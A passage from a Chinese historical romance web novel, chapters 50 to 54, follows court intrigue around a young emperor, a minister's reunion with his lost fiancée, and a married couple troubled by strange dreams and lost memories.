四名医正面面相觑,都知道这种冒险的法子,但没人敢提,如今有人给皇帝降热了,他们也算松了口气。 许恪眼神冰冷的看向他们:“四位医正居心而在?宁愿看着陛下烧成这样也不愿意冒险一试,是觉得陛下出事怪不到你们头上不成?还是受人指使故意这般轻视?” 四人没想到许恪会公然问责他们,吓得跪倒在地,慌张解释:“陛下龙体矜贵,我等不敢下猛药,得有人拿主意才耽搁了,请参知降罪。” 许恪脸上铁青,他如何给太医降罪,这不是故意堵他嘴吗? 许恪没再理他们,只让人端来热水为小皇帝擦汗换被褥。 正忙着,韩烈一身寒意地进来了,那些医正纷纷恭敬行礼,殷勤地汇报。 许恪面无表情看了眼韩烈,突然发现不管自己老师愿不愿意,他都已经是实至名归的权臣,朝廷内外皆在他的威势之下。 韩烈问过小皇帝情况后,让医正在门外等候,只留下许恪和内侍官在内。 “医正是不是不敢用药?”韩烈的话直白挑破,这是许恪没想到的。 “老师怎么知道?” 韩烈冷笑一声:“他们都以为皇上如果病了或者傻了,才是正合我意,不管你信不信,我从没想过。” 内侍官冷汗直流,连抬手擦汗都不敢,只想自己能隐身出去就好。 许恪直视韩烈,疑惑道:“那老师准备怎么处理太医院这些人,不杀鸡儆猴,只怕往后还会有这样的事情。” “今日会诊的医正都革职查办,你看如何?” 许恪颔首补充道:“太医院和内庭都要整顿,皇上身边不能留些三心二意之人,皇上有个三长两短你我难辞其咎。” 韩烈没有异议,“成,这事明日议后交于你如何?” 许恪心中诧异,但没有拒绝。 翌日,另外两位辅政大臣才知道皇帝夜里的凶险,纷纷进宫探望。 韩烈顺势提起对太医院和内庭的整顿之事,顺利地让两人皆同意了。 “只是陛下这一病倒,后日的出殡大礼可如何安排是好?”左英担忧道。 “朕没事,可以送父皇最后一程。” 小皇帝不知何时醒了,看向床前四大辅政大臣,这一病,小皇帝似乎更瘦弱了,但一双眼睛清澈见底,态度鲜明。 许恪接过话,“那皇上这两日请尽快养好身子,后日亲自为先帝送行。” 50-60 第51章 第51章 皇帝出殡,满城素缟。 谢云蝶一身红衣立于阁楼上,冷冷地看着送殡的队伍如长龙般延绵数里。 “哎呀,女郎,今日怎能穿红衣呢,这要是让人瞧见了会被下大狱的。”伺候的婆子紧张地将一件白色披风盖住她,急忙忙地拉她进屋。 谢云蝶随她动作,被推着回了屋内。 “今夜常林打算将我送到哪里?” 一早上就有人来为她洗漱装扮,迫不及待地要将她送人了。 婆子左右瞧了瞧,低声道:“女郎,这哪能知道呢,不管常大人将你送给谁为妾,凭你的样貌才情肯定是招人喜欢的。” 谢云蝶不置可否,既然不知道送到哪里,那只能等到常林放松警惕再跑了。 “换衣服吧。” 直到夜幕降临,常林亲自带着人来接她,谢云蝶都不吵不闹,跟着他上了马车。 白色的披风里,她被穿上了一身藕粉色的纱裙,又薄又露,她难耐地皱着眉拉紧了披风。 常林的眼睛一直盯在她身上,看她如此笑道:“看在这些年我养着你的份上,待会好好伺候他知道吗?” 谢云蝶默默抬头看了他一眼,心道好笑:这人要是知道她是谢家人,不知道会是何表情。 她这些年在常林面前扮演着一个被他抢夺来的孤身女子,她不与他撕破脸,常林便一直没有怀疑过他的身份,她也不担心身份暴露,因为在世人眼中谢云蝶已经随着谢家灭族而死了。 “什么人值得你这么讨好?也不怕我坏了你事。” 谢云蝶语气清冷,带着些许不甘,表现得恰到好处。 常林一脸胡子狞笑着:“你只要不想死就不敢坏我事,我将你送给他,只有好处你自己见到就知晓。” 谢云蝶不再吭声,与常林这种人,她向来没话说。 马车直接进了常府前院,常林在前院设了宴邀请韩烈,此时人还未到。 谢云蝶被人带到了一间屋里,本一直守着她的侍从都没跟过来,看得出常林对自己家很是放心,没让人守着她。 只有那个跟着她一路的婆子在门口候着。 很快外间传来常林谄媚巴结的笑声,他要招待的人入了席,谢云蝶被人请了过去。 这是一间前后打通的正屋,她从隔间缓缓出来,既然要跑,她做好了准备稳住那人再在路上逃跑。 可当她抬头看向那坐在席间的男子时,不由顿在了原处。 她从前是见过韩烈的,相隔近二十年再见,她一眼就认出来了。 韩烈的眼睛漆黑一片,一瞬不瞬的看着她,容颜不变赫然是他找了多年的人,他捏在手中的酒杯啪的一声炸开了。 鲜红的血从他指尖流下,常林惊呼:“韩相,您的手,快拿帕子止血。” 韩烈收回了目光,冷冷道:“不妨事,一时不查捏碎了而已。” 是什么样的力气能直接捏碎酒杯,尚无人顾及,侍女打了水拿了帕子给他止血洗手。 等到弄完,常林才对谢云蝶使了个眼色,“云姑娘快过来,这位是今日府上贵客韩相爷,给相爷敬酒。” 常林将谢云蝶当作陪酒的女奴,言语间尽是暗示。 谢云蝶没动,她本做好准备敷衍一番,但面对韩烈她实在做不来,只淡淡地站在一*旁不言不语。 韩烈自然看明白了,暗暗抓紧了手指,原来常林是要给他送女人,而且送的人他根本拒绝不了。 “常尚书这是何意?” 韩烈挽着手袖,侧过脸看向谢云蝶,只见她低垂着眼眸不敢回视,他知道她也认出了自己。 “韩相这些年一直孤身一人,下官这好不容易得了一美人,想着韩相府里冷清,要是合您心意就让她好好伺候你,也算是下官的一片心意。” 常林的语气就像送他一件货物,韩烈眼底的寒意更甚,但还是笑道:“确实是美。” 有了这四个字,常林露出得意的神色,他知道韩烈这是看上了。 他刚想让她来伺候韩烈喝酒,就见韩烈站了起来。 “常尚书的美意本相收下了,只是这手指还疼着,今日便不喝酒了,这人跟我走就成。” 韩烈一刻也不想再演了,实在受不了自己的发妻被人当玩物的送给自己。 常林一时懵了,这事情也太顺利了,但他只能点头同意。 “一切听韩相吩咐。” 韩烈扬声喊道:“韩平。” 韩平推门进来,还没来得及反应便听韩烈说道:“先送这位姑娘上马车,我随后就来。” 韩平看向谢云蝶不敢多言,只做了手势请她出门。 谢云蝶自然不反对,跟着韩平走了。 她没想到自己还没来得及去找韩烈求助,就这般尴尬地见面了。 韩烈看着谢云蝶随着韩平出去,才转头看向常林,嘴角抿着笑眼底却夹杂着怒意,缓缓道:“常尚书从哪里找来的这等绝色女子?” 常林本就被谢云蝶美色吸引,自然认可韩烈的话,只认为韩烈也与他一般被云娘的美吸引了。 “几年前,无意中发现的,本想收了当妾,她死活不同意,家中夫人也反对,就这么养了几年,没想到如今能合了您的眼,下官我也算做了门善事。” 韩烈隐忍地听着,“这么说,她还不是你的女人?” 常林立马撇清:“不是,她看不上下官。” 谢云蝶当然看不上常林,但是常林有没有强迫谢云蝶就另说了,他知道一时问不出什么,只能作罢。 “那就告辞了。” 韩烈说完便走,态度极其敷衍,根本不像得了他好处的模样。 常林觉得怪异,却又没法说出个所以然,只能看着韩烈带了人离去。 · 谢云蝶默默靠坐在车厢内,眼睛淡淡地看着坐在她对面的韩烈。 “我本来打算去找你的。”她先开了口。 “那为何没来?”韩烈声音低沉,眼睛回视着她。 谢云蝶被他看得心慌,解释道:“这不是还没逃出来就见到了,我知道你在京城当了官。” 她这些年听说过他的事迹,知道他过得好更不想去打搅。 “呵,不管是以前还是现在,你都不会第一时间来找我,只会将我放在最后。”韩烈这话说完心底一片酸涩。 “对不起,是我毁了你我婚事,但我当时没办法跟你走不管谢家。” 韩烈深深看着她:“婚书已经立了,你现在还是我的夫人,我不管过去如何,你以后不走了成吗?” 谢云蝶捂着胸口,震惊地看着他:“你你可知道我” 韩烈垂眸淡淡回道:“知道,许清妙我见过了,一眼就能看出是你的孩子。” 谢云蝶听到许清妙的名字,低下了头:“我生下她就没管过她。” “那你是打算这辈子都不认她?” 谢云蝶红着眼睛立马摇头:“不是,等谢家平反了,我就会认她。” “那这辈子都平反不了呢?” 谢云蝶没吭声,眼眶更红了。 “还有,你能告诉我,她是你跟谁的孩子吗” 谢云蝶抿着唇依旧不肯说,韩烈深深地叹气看向窗外。 “你不想说,没关系,往后我们慢慢说,你想为谢家平反,现在只有我能帮你。” 他的语气平静,像是在与她说再普通不过的事情。 谢云蝶不可思议地看向他:“你为何要帮我?你有什么条件?” 她知道以他如今的身份地位,有足够的能力帮她调查谢家冤案。 “回家,这辈子都是韩烈的夫人。” 谢云蝶不解地看着他:“你你没有再娶?” 她知道他做了大官,但从没去刻意打听他的私事,这么多年他理应另娶儿孙满堂。 韩烈平静看着她:“没有,没有妻子,没有侍妾,从来没有其他人。” 谢云蝶不知为何,泛红的眼眶再忍不住,晶莹的泪水滚落脸颊,模糊了视线。 “哭什么?我知道你当年的不得已,所以才走到今日,只想为你做点什么,而不是被你放弃。” 韩烈语气淡淡,有些粗糙的手抽出手绢递给她,见她没接,便凑过去给她擦了擦眼泪。 谢云蝶不知道他到底想些什么,竟然能如此平静地为她擦眼泪。 马车很快停靠相府门前,韩烈先跳下马车,转身伸出手看向她。 “下车吧,到家了。” 近二十年了,没有一个人与她说回家了,她再忍不住将手递给他扶着下了车。 韩平大气不敢吭一声的连忙在前开路,大门开启,引着主子往后院而去。 · 小皇帝退了烧好的很快,今日送了先帝棺椁进皇陵,接下来小皇帝要在皇陵待上一个月。经四大辅政大臣商议,留下左英带了内侍和禁军陪着小皇帝,其他人先行便回了京。 韩烈早就急匆匆地走了,许恪却接了随安传来的消息。 “翁主回了胜州,我们的人跟着他回去的路上遇到了常林的家奴,带了一绝色女子进京。” 许恪不解,问道:“常林还不死心?将那女子送谁了?” 随安低声道:“您让派人盯着常林,今日韩相从常林府中接走了那女子。” 许恪看向随安,眉头紧锁,据他所知,韩烈从来都是不近女色,怎么可能接受常林送的女人。 “你们看清楚了?” 随安点头:“清楚,跟着的人亲眼见韩相将人带回了府。” “知道了,翁主那边有打听到什么吗?她应该不止做了散布谣言这一件事吧。” 随安犹豫道:“我们的人扮作马夫,听到翁主与那婆子争吵,那婆子说长公主知道翁主半年前在渡口见过您和夫人,而且拿了您与夫人的八字做了些事情,奴才觉得恐怕是些诅咒或者巫蛊之术。” 许恪脸色变得难看,冷淡的神情紧绷,“去查清楚,她到底做了什么,在胜州的人继续跟着她。” 半年前,而他和许清妙正是在五个月前突然醒来到了三年后,或者换个角度可以说,他们是突然醒来没了过去三年的记忆。 第52章 第52章 许清妙昨儿夜里做了一整晚的梦,连许恪几时起来的都没印象。 她耸拉着脑袋坐在铜镜前,一头黑发懒懒地披在背后,任由鹊枝繁复仔细地编发挽发。 “少夫人昨夜没睡好吗?” 许清妙有气无力地嗯了一声,慢悠悠说道:“做了一整晚的梦,醒来觉得浑身好累。” “那您要不要再睡会?夜里是不是翰林闹您了?” 许清妙一愣,听懂了这丫头话里意思,垂眸否认:“不是,昨儿他回来时,我都睡着了,就是一直做些乱七八糟的梦,醒了又记不住,感觉人特别累。” 鹊枝很认同的点头,琢磨出了什么似的说道:“那让厨房里给您炖个安神的汤药,或者找郎中来给您看看?” “找郎中就算了,你让厨房做碗六神汤吧。” 鹊枝忙完出去了,许清妙还坐在镜子前,光亮的铜镜内倒映出她的模样,清亮圆润的眼眸如一湾清泉,恍然间一段画面一闪而过,梦里同样的眼眸与妆容的“她”古灵精怪、肆意张扬,红唇开合着说些什么。 许清妙晃了晃脑袋,梦里的景象太碎太难分辨,她努力去回忆就会陷入一片迷茫。 但就她刚才想起的那一幕,直觉告诉自己梦里的人是她又不完全是她。 怪异,却不可怕。 “少夫人,大夫人叫您用了早膳就过去一趟。” 怜星立在门外提醒她,许清妙才回神知道该来的躲不了,总得给许家上下一个交代。 “知道了,摆膳吧。” 许清妙吃过早膳后,带着鹊枝前往王氏院子,一路上她想了很多,她与长兄的婚事美中不足的便是没能有个孩子,这事终究得解决,总不能隔三差五地烦扰一通。 她进屋时,王氏正坐在窗前煮茶,火红的炭烧炉子上架着热气腾腾的砂壶,见她进来,王氏抬眼望着她笑了笑。 和善可亲。 许清妙暗道:难道不是找我兴师问罪的? “过来坐,知道娘为何找你吗?” 王氏声音平和,语气亲昵,许清妙摁住心中疑惑,缓缓走过去坐下。 “娘想问我昨日林大夫复诊之事?” 王氏摇头,叹道:“那倒不是,昨儿夜里恪儿来找我说过了。” 许清妙昨夜困顿,许恪回来前她就歪在床上睡着,醒来也不见他,实在不知道长兄与婆母说过了什么。 “那娘知道林大夫说的话了?林大夫说我宫寒好了,但是否能马上有孕还说不准。” 她不想遮遮掩掩,不管许恪是否说了,她都想直接告诉家里。 王氏示意她喝茶,“都知道,三娘不用紧张,只是找你来问问,恪儿现在是否还如从前般旁人挨都挨不得吗?” 许清妙看向王氏,缓缓点头:“是的,身边丫鬟都不让碰,平时洗漱都只让我靠近。” 她心底疑惑,王氏为何问这些,她想知道,哥哥会直接告诉她的,除非是她不信哥哥的话。 那她就会信自己说的? 王氏脸上的笑淡了些,只叹气道:“这毛病难道就好不了吗?” 许清妙低头不语,她有时候庆幸哥哥有洁癖之症,给她挡下了很多麻烦。 “算了,不说这些,喝茶吧,今儿陪我吃了午膳再回去吧。” 许清妙心底总觉得有些不安,但又说不出什么实在的出来,陪着王氏说说喝茶直到午后才回屋。 · 宫门口处,随安接到了下值的许恪。 “去趟大理寺。” 他跨进马车前,声音平淡地对随安吩咐,随安不解地挠了挠头,坐好掉头驾车往大理寺去。 许恪那日陪着许清妙见过林大夫,便想好了,再请李素风来给清妙看看。 现在的他只见过两次李素风,但每一次都给他一种很奇怪的感觉,他直觉李素风知道些什么,这很奇怪,他不是一个靠直觉做事的人,但这回却还是想试试。 前些日子派人去探查过李素风的底细,没有查到任何不同寻常之处。 马车停靠在大理寺外的街上,他没有下车,只让随安拿了他的帖子进去找陈进。 半响,随安领着陈进走来。 许恪撩起帘子看向陈进,陈进还是老样子,狱卒的衣袍已经换下,此时正恭敬地向他行礼。 “拜见许参知,不知找小人有何事呢” 许恪清冷道:“上车吧,带我去见李素风。” 陈进已经知道许恪上回探视李素风之事,只道许恪与李素风是老相识,便爽快应下。 “成,李伯正在在下家中。” 陈进很知规矩地坐在随安身边指路,一肚子的疑问也没表现出来。 车内的许恪也没发出声响,一直闭目养神。 马车在一处小院门口停下,院子里外皆是孩童跑来跑去,尘土飞扬。 陈进略有些拘谨地解释道:“附近孩子多,有些吵闹,参知随在下进去吧?” 许恪颔首,脸色平静并不介意这些。 俩人进了院子,一眼便瞧见正坐在屋檐下的李素风,一身粗布衣服正在捣弄着草药。 李素风听见声音,看了过来,见是许恪不由惊讶地丢下捣药杖站了起来。 “许参知怎么找到这来了?” 李素风身体枯瘦,一双眼睛倒是还很有神,颤巍巍地走过去。 “李医正可是病了?”许恪看着老人,一时竟觉得时光飞逝,可明明才过了两个月而已。 李素风咕噜一声笑道:“老朽没病,只是年纪上来了看着吓人而已。” 许恪一时无话,陈进连忙将人迎进屋里,又转身去烧水泡茶。 李素风陪着他坐在椅子上,知晓许恪是来找他的,主动开口问道:“许参知可是找老朽有事?” 许恪点头,说明来意:“晚辈想找您出趟诊。” 李素风点头问道:“可是尊夫人?” “是的,素闻李医正妇科妙手,还请您帮忙看看。”许恪会想到再找李素风给许清妙看诊,完全是因为昨日夜里见过王氏后才有的想法。 王氏话里话外有给他找侍妾的想法,甚至隐隐透露出让他休妻再娶的意图。 他知道如果没有洁癖这个隐疾在身,王氏早就给他做主娶妾了。 李素风其实并不想再出诊,但一听是给许清妙看诊,他想都没想就答应了,就算是起不来身了,他爬也要爬到小主子跟前的。 “不敢当,许参知吩咐老朽就成,可是今日就要去?” 许恪点头:“今日便去吧。” 陈进的茶水还没端上来,李素风就随着许恪匆匆走了。 · 许清妙回到自己屋里,倒头就睡了,沉睡间她再次做梦了。 梦里大雨倾盆,就像前几日的雨一样,又密又急。 身下起伏不定,她才恍然觉出这是在一艘船上,熟悉的侍女在船舱里进进出出,伺候着躺在床上的人,她定睛看去,那躺着的人不是别人正是她自己,脸上苍白额头上满是汗珠。 “哥哥”她干燥裂开的唇间溢出一声呻吟,却无人听见,床边除了丫鬟不见许恪的身影。 许清妙感到眩晕,直到一阵哭诉声响起:“小姐,您坚持住呀,天亮后船就靠岸了,等看了大夫就会好了。” 是鹊枝的声音,她在惊慌焦急地哭泣。 许清妙想开口说话却什么声音也发不出来。 “小姐,翰林也昏睡着叫不醒,奴婢好害怕呀,您快醒醒吧。” 许清妙惊讶地扑过去,却并没有办法动弹,她想问问鹊枝,怎么哥哥也病了吗? 这是怎么回事?真的只是梦还是曾经发生过的事? 外面的雨越下越大,噼里啪啦的像是下在了她的身上,她浑身感到湿漉漉的黏得难受。 却总是醒不过来,直到一声巨大的雷鸣划破天际,她才猛地坐了起来。 环顾四周,不是漂泊晃动的船上,而是她卧房的床上,很快记起她回来后倒头就睡着了。 “少夫人,翰林让您去前院。”鹊枝在门外敲门唤她。 许清妙声音嘶哑,轻咳一声才应下:“知道了,你打热水进来。” 她浑身乏力地倒在了枕头上,默默回想,刚才的梦很清楚,她醒来后还记得。 鹊枝很快倒了热水进来,搁下盆子过来扶她,“少夫人,你怎么出了这么多汗,是做噩梦了吗?” 许清妙不由一顿,那梦确实可怕,“鹊枝,我最近一回坐船可有发热昏迷?” 鹊枝惊讶道:“少夫人是说上回从京城回云田路上吗?” 许清妙颔首,不动声色的看着她。 鹊枝心有余悸地说道:“少夫人不记得了吗?快到云田的船上您和翰林突然发热昏迷不醒,幸好天亮后俩人都同时退烧清醒了。” “没看大夫吗?” 许清妙暗道果然是真实发生过的事吗 梦里的她烧的很吓人,结果天亮就好了吗? 鹊枝摇头:“大夫还没到你们就醒了,但是后来回到云田后还是找了大夫瞧的,大夫说一切安好,没有任何问题。” “怎么会这样?” 鹊枝不解道:“发热不都这样吗?退了热就会好了,不过那会少夫人和翰林确实好得很快,几乎退烧就正常了,都没有感到虚弱难受。” 鹊枝伺候她洗了脸换了衣服,俩人出了院子往前院去,许清妙脑子里依然想不通,如果是受寒发热为何好得这么快? 而且梦里压抑无助的感受太过真实太过可怕,就好似她真的被什么东西困住了一般。 许清妙赶到前院正屋时,见到许恪正低头与一白发白须的老人喝茶说话。 李素风见许清妙现身,连忙放下茶杯躬身行礼,要不是他还有几分自制力,恐怕会直接跪下见礼。 “在下李素风,见过许夫人。”他声音带着不易察觉到激动。 许恪转头看向李素风,那种奇怪的感受有了实感,李素风对清妙有一种超出寻常的恭敬。 这太奇怪了。 许清妙也惊讶地看向李素风,不解他怎么行如此大礼,躬身弯腰低下头一直没抬起,她连忙收上前虚扶起,轻声道:“老人家请起身,晚辈担不起如此大礼。” 李素风闻言抬起头站好,看向许清妙,只是很快就低下了头。 “夫人,这是李素风李医正,今日特意请他来为你诊脉。” 许恪在一旁介绍李素风,他仔细地观察李素风的表情,示意他坐下。 “李医正请坐。” 李素风拘谨地坐下,许恪上前双手扶着许清妙坐在一旁,看向桌上已经放好了诊脉的垫枕。 “请李医正看诊吧。” 屋里安静地可以听见呼吸声,许清妙有些紧张地看着李素风,只见老人神情严肃。 “宫寒之症确实没了,只是身体虚弱要有孕还是困难,脉象平和也不似有瘀堵,夫人平日可有梦多失眠?” 许清妙摇了摇头:“极少失眠,偶有做梦,这两日做梦后醒来很疲倦。” 李素风手指捏着胡须点头,又仔细把脉,直到一刻钟后才说话:“夫人,身体并无大碍,只是似乎有梦魇之症而不自知。” 许恪不解地看向许清妙,俩人每日睡在一处,并没发现她有梦魇过。 许清妙问道:“李医正可有法子为我医治?” 李素风无奈叹气:“这得等我回去翻翻医书,梦魇一般都与情志有关,夫人平日里可有不顺心之事?” 许清妙摇头:“并无感受,除了难孕外,我并无其他不妥之处。” 李素风点头:“那夫人可有觉得记忆模糊的时候?” 提起记忆,许清妙就顿住了,不由看向许恪,两人眼神接触都想到了同样的事情。 许恪疑惑道:“李医正是觉得可能发生了什么事而我们自己并不记得了?” 李素风一愣,点头笑道:“可以这么说,有些事情大概是发生过,而我们却并无意识到,或者像你说的忘记了,都有可能。” 许清妙不由想起梦中船上发烧的事情,顿时沉默无语。 许恪刚想开口安慰,李素风却已经说道:“夫人无需担忧,既然知道病症老夫自然有化解之法,只是得回去翻翻医书确认了再谨慎为您开药。” 许清妙抬眼看向李素风,只觉得这老人慈祥和蔼,对她有种格外的看重。 她起身拜谢:“有劳李医正了。” 李素风赶忙回礼,谦虚又开心道:“是老朽应该做的,夫人无须多礼。” 许恪在一旁看着没有打断,直到李素风告辞他亲自将人送上马车,才站在影壁处陷入了沉思。 他几乎可以肯定,李素风对清妙比对他更加看重。 这很不对劲,清妙从出生就在许府,她不可能有机会认识李素风。 第53章 第53章 李素风从马车上下来没有进屋,匆匆喊上陈进再送他回了一趟他自己那间简陋小院,院子很久没住人显得荒凉冷清。 “李伯,您回来是要找什么东西吗?你告诉我,我帮你一起找。”陈进亦步亦趋地跟在李素风身后,看着他蹒跚的步伐走来走去。 李素风也不跟他客气,指着码得像座小山似的医书。 “把这堆里面关于杂病论的医书都找出来吧。” 陈进应下开始翻找,李素风也不闲着,翻另一堆,俩人在屋里忙到天快黑了才全部找了一遍。 “李伯,你找这些是为了许夫人的病吧?她病得很严重吗?” 陈进不解,以李素风的医术怎么还需要临时翻医书呢?况且这老头傲得很,不是这么轻易为人诊治的。 李素风低叹一声直起腰来,呼呼地吹了吹手里的灰,道:“别问这么多,把这些帮我搬车上去。” 陈进摸了摸鼻子,嘿嘿笑道:“虽然李伯你菩萨心肠,但想让你这么上心的可不多,您不说我心里也有数。” 李素风皱紧发白的眉瞪了他一眼,撅了撅嘴懒得解释。 · “哥哥,我们以前是不是认识这位李医正呢?” 许清妙轻轻挽着许恪心情不错地走在院子里,时不时仰着脖子看向许恪说话。 模样乖巧又俏丽,她脸上带着甜甜的笑,好似有哥哥在身边就万事足矣。 许恪垂眸,伸出一只手轻松将她的手指抓住握紧,看了她一眼才轻描淡写地回道:“认识,他对你格外照顾。” 说照顾其实还不够贴切,更准确的说法,他觉得李素风对清妙有种近乎虔诚的尊重。 这不合常理,因为这种盲目的尊重一般都是出现在主仆之间。 许清妙瞧见许恪眉梢微蹙,便知道他在想事情。 “哥哥是在担心李医正说的梦魇之症吗?” “其实我也就这两日做梦有些频繁,往常是没有的,哥哥不用太担心。” 许恪轻叹一声,缓缓说道:“我每日里睡在你身旁也没发现你梦魇,是哥哥不好。” 许清妙捏了捏他手心,反驳道:“哥哥又不能与我共梦,怎么能知道这些,况且我自己都没觉察,不许哥哥自责哦。” 梧桐树的叶子飘落水面,本是澄澈的池塘上覆着枯叶残荷,一派秋意。 “清妙不必宽慰我,待出了孝我们去外面逛逛,去二弟铺子里看看也去郊外走走,你看如何?” 许清妙自然高兴点头:“那一言为定,哥哥可别忘了。” “一定。” 俩人携手回屋,许清妙进门便瞧见鹊枝在使唤人往净房提热水。 “少夫人,可是先用膳还是先洗漱?” 鹊枝不提醒,她倒忘了今日晚膳还未来得及用。 许清妙抬眼看向许恪:“哥哥可用过了?” 许恪摇头:“未曾。” 许清妙噗嗤一声笑了出来,俩人都匆匆忙忙地见了李素风,却晚膳都同时忘了,也是巧了。 许清妙拉着许恪进了饭厅用膳,等到吃饱喝足,天色已经完全黑下来了。 如一块纯黑的幕布盖住了所有的星光,只有屋里的灯火才熠熠生辉。 许清妙用完膳先进了净房,此时许恪正在外间小憩,她趁机打算先进去洗漱了,免得俩人又凑在一起。 她倒是无所谓,许恪却每回都难受的紧,想起他与她一同洗漱时隐忍的模样,她就不由想笑。 今日这双人浴桶里,盛满了热水,水面上还很有意境地飘着许许多多的花瓣。 红的牡丹,黄的菊瓣,粉色的芍药,还有紫色的风铃草 五颜六色,眼花缭乱。 鹊枝这是要给她洗花瓣澡啊,她想找鹊枝问问,为何放这么多花,转头还没说话,便看见许恪推门而入。 “哥哥怎么不敲门就进来了?” 她卸了头饰发包,正披散着头发,怔怔地看着动作从容的许恪。 “抱歉,一时情急忘了。”他轻声解释,视线却粘在她身上。 许清妙想问他什么情急,却被他的眼神吸引了注意力。 那是贪恋、渴求的眼神。 俩人做了几个月的夫妻了,许清妙一眼便看清楚了他眼底的火是什么。 许清妙再从净房出来时,已经是被许恪抱着出来的,她脸颊红透、厌厌地趴在他肩头歇气。 “哥哥今日这般卖力,是想让清妙快快受孕吗?” 她被轻放进被褥,裹着被子不满地嘟囔。 许恪听了不由轻笑,却又认真解释:“不是,有没有孩子顺其自然,哥哥只是想你了。” 许恪的话难得直白而热烈,许清妙心底很受用。 轻哼道:“我也想你了。” 许恪将一盏灯放置在了床边柜子上,其余的灯都一一灭了。 视线不经意地看向许清妙的枕边,那里有一只小匣子放了很久。 “清妙枕边小匣子里装的是什么呢?”他随意地问道。 许清妙随着许恪的视线转头看去,是那只她装了许多小玩具的盒子,她上回看过后就忘了将它收起,一直搁在了枕边的小隔子里。 “哥哥没打开看过吗?” 她伸出手去拨了拨那小匣子,好奇地问他。 许恪摇头,掀开被子躺了进去,“没有。” 许清妙本想赶紧收起来,但转念又心痒痒道:“哥哥可要看看?” 许恪转头凝视她,试探道:“真让我看?这应是装你私人物品的。” 许清妙颔首,捂嘴笑着:“哥哥若想看,我自然同意。” 里面的东西,早就是俩人玩过的,她早就好奇哥哥见到这些东西会是什么表情了。 在她的想象里,哥哥不可能喜欢这些。 许恪瞧见了她眼底的跃跃欲试,知晓她是希望他看的,便顺着她说道:“想看。” 许清妙一骨碌从被褥中爬了出来,微微卷起的衣摆露出一节白腻的细腰。 许恪一一看过去,入目便是一只兔儿毛的小领子,白绒绒的一圈套着一只小巧的铃铛,许清妙白皙的手指捏着它缓了缓,那铃铛便发出清脆的响声。 “清妙可知道这物是作何用的?”许恪眼睛定在那小围领上,小小的一圈,估计只能贴紧在颈部。 许清妙噗嗤一笑,将那领子从不易察觉的小口处解开,再套在了脖子上,严丝合缝正好合适她。 “这样戴着的,像不像一只可爱的小兔子?” 兔毛取得是兔子身上最细腻的部分,贴在脖子上很软,她缓一缓头,那垂在锁骨处的铃铛便随着摆动响起清脆的铃音。 “像。”许恪一瞬不眨地看着许清妙,只觉得她此时就是广寒宫上那只玉兔成了精,正对着他撒娇。 许清妙听见他声音里暗哑,不由收住了摇晃的动作,暗道不好,抬手想将那领子给解了,却被他的手按住了。 许恪只轻轻一拉,她便扑进了他的怀里。 只听见头顶传来沉沉的声音:“妙妙还不够是吗?” 许清妙本是觉得刚才俩人已经互相满足了一番,想着拿这些东西逗一逗哥哥,没想到他的反应这么大。 还想再说什么解释一番,话未出口已经被他低头深深地吻住。 唇峰处尚留着他咬过的痕迹,此时又被他反复的碾磨,又痛又麻。 直到俩人再次倒进被褥中,水乳交融,她才知道自己玩过头了。 哥哥也太不经逗了,小匣子里还好多东西呢,他怎么只看一样就这般不节制了? 床边的灯火忽闪不停,似跳动的脉搏,许清妙迷离地看着直到昏睡不醒。 许恪一只手撩拨着她脖子上的小领子,一只手揽着她的腰,不容她反抗,即便见她睡着了依旧不想放开。 秋雨不解风情,淅淅沥沥下了整晚,也吵不醒昏睡过去的人儿。 · 相隔不远的韩相府里却是另一番秋景。 海棠未雨,梨花先雪。 谢云蝶与韩烈静静坐在榻前,仆人丫鬟已经全部退下。 “你想清楚了?”韩烈再一次问谢云蝶,他话里意思很清楚,想清楚了真的以后都做他的夫人陪着他吗? 谢云蝶再次点头:“你还要问几次呢?我是心甘情愿嫁给你,如果没有那件事,我绝不会逃婚。” 谢家的惨烈,让她逃了十八年,如今她早已看开,只要能让韩烈高兴的事情她都愿意。 更何况,他还答应了帮她翻案,她不知她还有什么好拒绝的了? 她的感情很复杂,但她没法拒绝韩烈,一个等了她十八年的未婚夫。 “那歇下吧。” 韩烈拉过被子为她盖上,再转身拉过另一床被子自己盖上,躺在她的身边。 谢云蝶侧脸看着他,她以为他想与她圆房,却只见他笔直地躺在床外侧。 “别这么看着我,睡一起是为了让你尽快习惯我的存在。”韩烈的声音很淡定,“既然找到你了,这辈子我都不会再放手,你要习惯也要体谅,好吗?” 谢云蝶没忍住轻笑出声,韩烈板着脸看过来,眼神认真严肃。 “好,我都理解,也谢谢你给我习惯的时间。” 她很想告诉他,既然她决定回来作他的妻,就不会介意与他圆房,他的克制其实大可不必。 可真见他如此,她的心底满是感动。 第54章 第54章 半月一闪而过,这期间发生了一件大事,内庭搜出有人用巫蛊之术诅咒小皇帝。 一时间,内庭被血洗,四大辅政大臣以韩烈为首将整个内庭整肃了一遍。 “可都查清楚了?” 许恪朝服伴身立于韩烈身旁,眼*前跪着是新上任的内侍总管,年纪不大五官端正眼神正派。 “秉韩相,都查清楚了,是皇上身边的东荣主使,想借巫蛊诅咒迫害皇上。” 许恪看了眼韩烈,低声问道:“他背后是否有人指使?” “东荣事发后就自杀了,奴才无能并没有找到任何他人指使的痕迹。” “下去吧。”韩烈发了话,跪在地上的人都恭敬地退下。 “不懈觉得有人指使?”韩烈轻拂衣袍,转身往前走,许恪紧随其后。 “嗯,老师难道不觉得?” 韩烈轻轻笑道:“刑部尚书常林怎么样?他挺适合指使这事。” 许恪猛地抬眼看向韩烈,惊讶中又带着几分了然,原来老师对常林确实有所准备。 “这事与常林有关?” “他与东荣素有往来,而且我要查他,需要这个由头。”韩烈的声音很冷,带着从未有过狠厉,许恪知道常林该是要倒大霉了。 “老师为何与我说这些?”许恪有些意外,就算韩烈要查办常林,也不该这么直白的告诉他吧。 韩烈看着他轻轻地笑了笑:“因为告诉你可以暂时留住为师在你心中的形象。” 许恪不解地看着他,韩烈却不再解释,往前走去。 俩人一前一后出了宫,往各自的马车走去。 许恪走至半路,韩烈叫住了他:“不懈哪日有空带着许三娘一起来府里吃顿饭。” “过几日休沐日来登门,老师府里可是有什么好事?” 许恪也想去韩烈府里看看,到底是什么的女子能让自己孤身了十几年的老师破戒。 “你来了自然知晓。” 许恪望着韩烈走远,转身也登上了马车。 · 许清妙醒来时已是黄昏时分,这几日,她总有些日夜颠倒,白日里总睡不醒,晚上又精神抖擞。 不过也精神不了多久,就被哥哥给镇压了。 那小匣子里的东西是用了一样又一样,昨儿夜里更是连那绸缎也使上了。 她捂着脸不禁想起昨儿夜里自己的迫不得已。 